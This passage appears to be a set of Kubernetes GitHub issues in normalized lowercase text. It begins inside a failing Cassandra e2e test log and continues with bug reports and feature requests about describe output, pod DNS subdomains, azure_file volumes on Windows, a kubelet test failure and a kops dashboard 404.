io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na      \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:784   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      info  22:55:34 hostname: cassandra-nl4wx     info  22:55:34 jvm vendor/version: openjdk 64-bit server vm/1.8.0_111     info  22:55:34 heap size: 512.000mib/512.000mib     info  22:55:34 code cache non-heap memory: init = 2555904 2496k  used = 4153536 4056k  committed = 4194304 4096k  max = 251658240 245760k      info  22:55:34 metaspace non-heap memory: init = 0 0k  used = 17205400 16802k  committed = 17694720 17280k  max = -1 -1k      info  22:55:34 compressed class space non-heap memory: init = 0 0k  used = 2066328 2017k  committed = 2228224 2176k  max = 1073741824 1048576k      info  22:55:34 g1 eden space heap memory: init = 28311552 27648k  used = 26214400 25600k  committed = 32505856 31744k  max = -1 -1k      info  22:55:34 g1 survivor space heap memory: init = 0 0k  used = 4194304 4096k  committed = 4194304 4096k  max = -1 -1k      info  22:55:34 g1 old gen heap memory: init = 508559360 496640k  used = 1149440 1122k  committed = 508559360 496640k  max = 536870912 524288k      info  22:55:34 classpath: /kubernetes-cassandra.jar:/etc/cassandra:/usr/share/cassandra/lib/hdrhistogram-2.1.9.jar:/usr/share/cassandra/lib/st4-4.0.8.jar:/usr/share/cassandra/lib/airline-0.6.jar:/usr/share/cassandra/lib/antlr-runtime-3.5.2.jar:/usr/share/cassandra/lib/asm-5.0.4.jar:/usr/share/cassandra/lib/caffeine-2.2.6.jar:/usr/share/cassandra/lib/cassandra-driver-core-3.0.1-shaded.jar:/usr/share/cassandra/lib/commons-cli-1.1.jar:/usr/share/cassandra/lib/commons-codec-1.2.jar:/usr/share/cassandra/lib/commons-lang3-3.1.jar:/usr/share/cassandra/lib/commons-math3-3.2.jar:/usr/share/cassandra/lib/compress-lzf-0.8.4.jar:/usr/share/cassandra/lib/concurrent-trees-2.4.0.jar:/usr/share/cassandra/lib/concurrentlinkedhashmap-lru-1.4.jar:/usr/share/cassandra/lib/disruptor-3.0.1.jar:/usr/share/cassandra/lib/ecj-4.4.2.jar:/usr/share/cassandra/lib/guava-18.0.jar:/usr/share/cassandra/lib/high-scale-lib-1.0.6.jar:/usr/share/cassandra/lib/hppc-0.5.4.jar:/usr/share/cassandra/lib/jackson-core-asl-1.9.2.jar:/usr/share/cassandra/lib/jackson-mapper-asl-1.9.2.jar:/usr/share/cassandra/lib/jamm-0.3.0.jar:/usr/share/cassandra/lib/javax.inject.jar:/usr/share/cassandra/lib/jbcrypt-0.3m.jar:/usr/share/cassandra/lib/jcl-over-slf4j-1.7.7.jar:/usr/share/cassandra/lib/jflex-1.6.0.jar:/usr/share/cassandra/lib/jna-4.0.0.jar:/usr/share/cassandra/lib/joda-time-2.4.jar:/usr/share/cassandra/lib/json-simple-1.1.jar:/usr/share/cassandra/lib/libthrift-0.9.2.jar:/usr/share/cassandra/lib/log4j-over-slf4j-1.7.7.jar:/usr/share/cassandra/lib/logback-classic-1.1.3.jar:/usr/share/cassandra/lib/logback-core-1.1.3.jar:/usr/share/cassandra/lib/lz4-1.3.0.jar:/usr/share/cassandra/lib/metrics-core-3.1.0.jar:/usr/share/cassandra/lib/metrics-jvm-3.1.0.jar:/usr/share/cassandra/lib/metrics-logback-3.1.0.jar:/usr/share/cassandra/lib/netty-all-4.0.39.final.jar:/usr/share/cassandra/lib/ohc-core-0.4.3.jar:/usr/share/cassandra/lib/ohc-core-j8-0.4.3.jar:/usr/share/cassandra/lib/primitive-1.0.jar:/usr/share/cassandra/lib/reporter-config-base-3.0.0.jar:/usr/share/cassandra/lib/reporter-config3-3.0.0.jar:/usr/share/cassandra/lib/sigar-1.6.4.jar:/usr/share/cassandra/lib/slf4j-api-1.7.7.jar:/usr/share/cassandra/lib/snakeyaml-1.11.jar:/usr/share/cassandra/lib/snappy-java-1.1.1.7.jar:/usr/share/cassandra/lib/snowball-stemmer-1.3.0.581.1.jar:/usr/share/cassandra/lib/stream-2.5.2.jar:/usr/share/cassandra/lib/thrift-server-0.3.7.jar:/usr/share/cassandra/apache-cassandra-3.9.jar:/usr/share/cassandra/apache-cassandra-thrift-3.9.jar:/usr/share/cassandra/apache-cassandra.jar:/usr/share/cassandra/stress.jar::/usr/share/cassandra/lib/jamm-0.3.0.jar     info  22:55:34 jvm arguments:  -xloggc:/var/log/cassandra/gc.log, -ea, -xx:+usethreadpriorities, -xx:threadprioritypolicy=42, -xx:+heapdumponoutofmemoryerror, -xss256k, -xx:stringtablesize=1000003, -xx:+alwayspretouch, -xx:-usebiasedlocking, -xx:+usetlab, -xx:+resizetlab, -xx:+perfdisablesharedmem, -djava.net.preferipv4stack=true, -xx:+useg1gc, -xx:g1rsetupdatingpausetimepercent=5, -xx:+printgcdetails, -xx:+printgcdatestamps, -xx:+printheapatgc, -xx:+printtenuringdistribution, -xx:+printgcapplicationstoppedtime, -xx:+printpromotionfailure, -xx:+usegclogfilerotation, -xx:numberofgclogfiles=10, -xx:gclogfilesize=10m, -dcassandra.migration_task_wait_in_seconds=1, -dcassandra.ring_delay_ms=30000, -xms512m, -xmx512m, -xx:compilecommandfile=/etc/cassandra/hotspot_compiler, -javaagent:/usr/share/cassandra/lib/jamm-0.3.0.jar, -dcassandra.jmx.local.port=7199, -dcom.sun.management.jmxremote.authenticate=false, -dcom.sun.management.jmxremote.password.file=/etc/cassandra/jmxremote.password, -djava.library.path=/usr/share/cassandra/lib/sigar-bin, -djava.rmi.server.hostname=10.180.1.8, -dcassandra.libjemalloc=/usr/lib/x86_64-linux-gnu/libjemalloc.so.1, -dlogback.configurationfile=logback.xml, -dcassandra.logdir=/var/log/cassandra, -dcassandra.storagedir=/var/lib/cassandra, -dcassandra-foreground=yes      warn  22:55:34 unable to lock jvm memory  enomem . this can result in part of the jvm being swapped out, especially with mmapped i/o enabled. increase rlimit_memlock or run cassandra as root.     info  22:55:34 jemalloc seems to be preloaded from /usr/lib/x86_64-linux-gnu/libjemalloc.so.1     warn  22:55:34 jmx is not enabled to receive remote connections. please see cassandra-env.sh for more info.     warn  22:55:34 openjdk is not recommended. please upgrade to the newest oracle java release     info  22:55:34 initializing sigar library     warn  22:55:34 cassandra server running in degraded mode. is swap disabled? : true,  address space adequate? : true,  nofile limit adequate? : true, nproc limit adequate? : false      warn  22:55:34 directory /var/lib/cassandra/hints doesn't exist     info  22:55:34 initialized prepared statement caches with 10 mb  native  and 10 mb  thrift      info  22:55:35 initializing system.indexinfo     info  22:55:36 initializing system.batches     info  22:55:36 initializing system.paxos     info  22:55:36 initializing system.local     info  22:55:36 global buffer pool is enabled, when pool is exhausted  max is 128.000mib  it will allocate on heap     info  22:55:37 initializing key cache with capacity of 25 mbs.     info  22:55:37 initializing row cache with capacity of 0 mbs     info  22:55:37 initializing counter cache with capacity of 12 mbs     info  22:55:37 scheduling counter cache save to every 7200 seconds  going to save all keys .     info  22:55:37 initializing system.peers     info  22:55:37 initializing system.peer_events     info  22:55:37 initializing system.range_xfers     info  22:55:37 initializing system.compaction_history     info  22:55:37 initializing system.sstable_activity     info  22:55:37 initializing system.size_estimates     info  22:55:37 initializing system.available_ranges     info  22:55:37 initializing system.views_builds_in_progress     info  22:55:37 initializing system.built_views     info  22:55:37 initializing system.hints     info  22:55:37 initializing system.batchlog     info  22:55:37 initializing system.schema_keyspaces     info  22:55:37 initializing system.schema_columnfamilies     info  22:55:37 initializing system.schema_columns     info  22:55:37 initializing system.schema_triggers     info  22:55:37 initializing system.schema_usertypes     info  22:55:37 initializing system.schema_functions     info  22:55:37 initializing system.schema_aggregates     info  22:55:37 not submitting build tasks for views in keyspace system as storage service is not initialized     info  22:55:37 configured jmx server at: service:jmx:rmi://127.0.0.1/jndi/rmi://127.0.0.1:7199/jmxrmi     info  22:55:38 populating token metadata from system tables     info  22:55:38 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     warn  22:55:38 request to kubernetes apiserver failed, using default seeds in cassandra.yaml     java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na      \tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.shouldbootstrap storageservice.java:721   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.populatetokenmetadata storageservice.java:537   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:257   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      info  22:55:38 token metadata:      info  22:55:38 initializing system_schema.keyspaces     info  22:55:39 initializing system_schema.tables     info  22:55:39 initializing system_schema.columns     info  22:55:39 initializing system_schema.triggers     info  22:55:39 initializing system_schema.dropped_columns     info  22:55:39 initializing system_schema.views     info  22:55:39 initializing system_schema.types     info  22:55:39 initializing system_schema.functions     info  22:55:39 initializing system_schema.aggregates     info  22:55:39 initializing system_schema.indexes     info  22:55:39 not submitting build tasks for views in keyspace system_schema as storage service is not initialized     info  22:55:39 completed loading  2 ms; 2 keys  keycache cache     info  22:55:39 replaying /cassandra_data/commitlog/commitlog-6-1483829606591.log, /cassandra_data/commitlog/commitlog-6-1483829606592.log     info  22:55:41 log replay complete, 92 replayed mutations     info  22:55:41 populating token metadata from system tables     info  22:55:41 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     warn  22:55:41 request to kubernetes apiserver failed, using default seeds in cassandra.yaml     java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na      \tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.shouldbootstrap storageservice.java:721   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.populatetokenmetadata storageservice.java:537   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:331   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      info  22:55:41 token metadata:      info  22:55:41 cassandra version: 3.9     info  22:55:41 thrift api version: 20.1.0     info  22:55:41 cql supported versions: 3.4.2  default: 3.4.2      info  22:55:41 initializing index summary manager with a memory pool size of 25 mb and a resize interval of 60 minutes     info  22:55:41 starting messaging service on /10.180.1.8:7000  eth0      info  22:55:41 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     warn  22:55:41 request to kubernetes apiserver failed, using default seeds in cassandra.yaml     java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na      \tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.gms.gossiper.buildseedslist gossiper.java:1402   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1347   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      info  22:56:12 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     warn  22:56:12 request to kubernetes apiserver failed, using default seeds in cassandra.yaml     java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111      \tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na      \tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1385   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      exception  java.lang.runtimeexception  encountered during startup: unable to gossip with any seeds     java.lang.runtimeexception: unable to gossip with any seeds     \tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1386      \tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484      \tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548      \tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730      error 22:56:12 exception encountered during startup     java.lang.runtimeexception: unable to gossip with any seeds     \tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1386  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      warn  22:56:12 no local state or state is in silent shutdown, not announcing shutdown     info  22:56:12 waiting for messaging service to quiesce     info  22:56:12 messagingservice has terminated the accept   thread     info  22:56:12 paused hints dispatch     info  22:56:12 paused hints dispatch     \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:236       previous issues for this test:  27978  28817

found that many objects in the current  describe.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/printers/internalversion/describe.go  don't have consistent fields of their conditions be printed.  e.g.\r \r pod:\r    \r w.write level_0, \ conditions:\   type\\tstatus\ \  \r    \r \r node:\r    \r w.write level_0, \ conditions:\   type\\tstatus\\tlastheartbeattime\\tlasttransitiontime\\treason\\tmessage\ \  \r    \r \r deployment:\r    \r w.write level_0, \ conditions:\   type\\tstatus\\treason\ \  \r    \r \r we should make them display consistent fields. either printing all of the fields of each object conditions , or printing some same selected fields, e.g.  type status reason message  might be okay.\r \r we might also want to display conditions for other objects, whose conditions are not displayed currently yet.\r \r i'll work on this after we decide which way we want to display conditions.\r \r ref: https://github.com/kubernetes/kubernetes/pull/44710\r \r @soltysh @smarterclayton

feature request  \r \r  @kubernetes/sig-network\r \r   what happened  :\r \r i created two pods in the same subdomain and a headless service for that subdomain. pods can't find each other by their hostname.\r \r   what you expected to happen  :\r \r i expect a pod   busybox-1   in a subdomain   default-subdomain   to be able to lookup any other pod   busybox-2   in the same subdomain, just using its hostname and not a qualified dns name.\r \r since the subdomain is not injected in the pods'  /etc/resolv.conf, there's no way it will work. to ping a  busybox-2  from  busybox-1 , i can't ping  busybox-2 . i have to ping  busybox-2.default-subdomain .\r \r   how to reproduce it  :\r \r create 2 pods and a headless service with:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: default-subdomain\r spec:\r   selector:\r     name: busybox\r   clusterip: none\r   ports:\r     - name: foo   actually, no port is needed.\r       port: 1234\r       targetport: 1234\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox1\r   labels:\r     name: busybox\r spec:\r   hostname: busybox-1\r   subdomain: default-subdomain\r   containers:\r   - image: busybox\r     command:\r       - sleep\r       - \ 3600\ \r     name: busybox\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox2\r   labels:\r     name: busybox\r spec:\r   hostname: busybox-2\r   subdomain: default-subdomain\r   containers:\r   - image: busybox\r     command:\r       - sleep\r       - \ 3600\ \r     name: busybox\r    \r \r not working:\r \r    \r kubectl exec -ti busybox1 -- nslookup busybox-2\r server:    10.27.240.10\r address 1: 10.27.240.10 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'busybox-2'\r    \r \r working:\r \r    \r kubectl exec -ti busybox1 -- nslookup busybox-2.default-subdomain\r server:    10.27.240.10\r address 1: 10.27.240.10 kube-dns.kube-system.svc.cluster.local\r \r name:      busybox-2.default-subdomain\r address 1: 10.24.7.63 busybox-2.default-subdomain.default.svc.cluster.local\r    \r \r   other information  \r \r clearly,  /etc/resolv.conf  does not contain the subdomain.\r    \r kubectl exec -ti busybox1 -- cat /etc/resolv.conf\r nameserver 10.27.240.10\r search default.svc.cluster.local svc.cluster.local cluster.local google.internal c.my-project.internal\r options ndots:5\r    \r \r when i add  default-subdomain.default.svc.cluster.local  to the list, everything works as i expect.\r \r i know that the list is limited to 6 entries... so maybe we need a way to add it on-demand or remove it on-demand.\r \r   environment  :\r - kubernetes version 1.6.4 running on gke\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r trying to use  azure_file  https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/azure_file  volume as it is displayed worked when defining   beta.kubernetes.io/os:    linux  and doesn't for  windows . in case of the  windows  the folder is empty while for  linux  it contains files and folders that were imported into the share.\r \r   what you expected to happen  :\r the expected behavior should be same regardless of the   beta.kubernetes.io/os  \r \r   how to reproduce it  as minimally and precisely as possible   :\r create azure file storage and update secret to match storage account and key like it is defined in the tutorial. place some content into  k8stest  share to be able to validate the problem.\r \r the example from the tutorial can be used to reproduce the valid behavior for   beta.kubernetes.io/os:    linux .\r \r use the following pod manifest to see that the folder is empty for  windows .\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: azure-win\r spec:\r spec:\r  containers:\r   - image: kubernetes/pause\r     name: azure-win\r     volumemounts:\r       - name: azure\r         mountpath: c:/mnt/azure\r  volumes:\r       - name: azure\r         azurefile:\r           secretname: azure-secret\r           sharename: k8stest\r           readonly: false\r  nodeselector:\r   beta.kubernetes.io/os: windows\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r  azure \r \r - os  e.g. from /etc/os-release :\r  windows 2016 datacenter \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r kubernetes cluster was created using acs wizard with 1 master and 2 windows agents

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the test has been failing since nov 22nd. looks like it is because the test restarts kubelet and then calls getlocalnode   which checks for node readiness.\r not sure why this problem only started to show up recently.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  >  \r \r   what happened  :\r error when running the dashboard  ui  creation command.\r dashboard not accessible  getting 404 instead \r \r   what you expected to happen  :\r get access to the dashboard.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - set up a cluster with 1 master + 2 slaves using kops, via the following commands:\r \r    bash\r $ kops create cluster --name=<my_cluster_name> --state=s3://<my-state-bucket> --zones=eu-west-1a --node-count=2 --node-size=t2.micro --master-size=t2.small --dns-zone=<my-cluster-dns>\r    \r \r    \r $ kops update cluster <my-cluster-name> --yes\r    \r \r - run\r \r    bash\r $ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\r    \r \r - the following error occurs:\r \r    bash\r   secret \ kubernetes-dashboard-certs\  created\r     serviceaccount \ kubernetes-dashboard\  created\r     error: error validating \ https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\ : error validating data: unknown object type schema.groupversionkind{group:\ rbac.authorization.k8s.io\ , version:\ v1\ , kind:\ role\ }; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r when accessing:  https://<master_node_public_ip>/ui \r \r     kind\t\ status\ \r     apiversion\t\ v1\ \r     metadata\t{}\r     status\t\ failure\ \r     message\t\ endpoints \\\ kubernetes-dashboard\\\  not found\ \r     reason\t\ notfound\ \r     details\t\r     name\t\ kubernetes-dashboard\ \r     kind\t\ endpoints\ \r     code\t404\r \r \r - after running\r \r      kubectl proxy \r \r and trying to access the dashboard via:\r \r     http://localhost:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/\r \r the outcome is the same\r \r when turning validation errors off:\r \r    bash\r     $ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml --validate=false\r     secret \ kubernetes-dashboard-certs\  configured\r     serviceaccount \ kubernetes-dashboard\  configured\r     service \ kubernetes-dashboard\  created\r     error from server  badrequest : error when creating \ https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\ : role in version \ v1\  cannot be handled as a role: no kind \ role\  is registered for version \ rbac.authorization.k8s.io/v1\ \r     error from server  badrequest : error when creating \ https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\ : rolebinding in version \ v1\  cannot be handled as a rolebinding: no kind \ rolebinding\  is registered for version \ rbac.authorization.k8s.io/v1\ \r     error from server  badrequest : error when creating \ https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\ : deployment in version \ v1beta2\  cannot be handled as a deployment: no kind \ deployment\  is registered for version \ apps/v1beta2\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t17:51:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 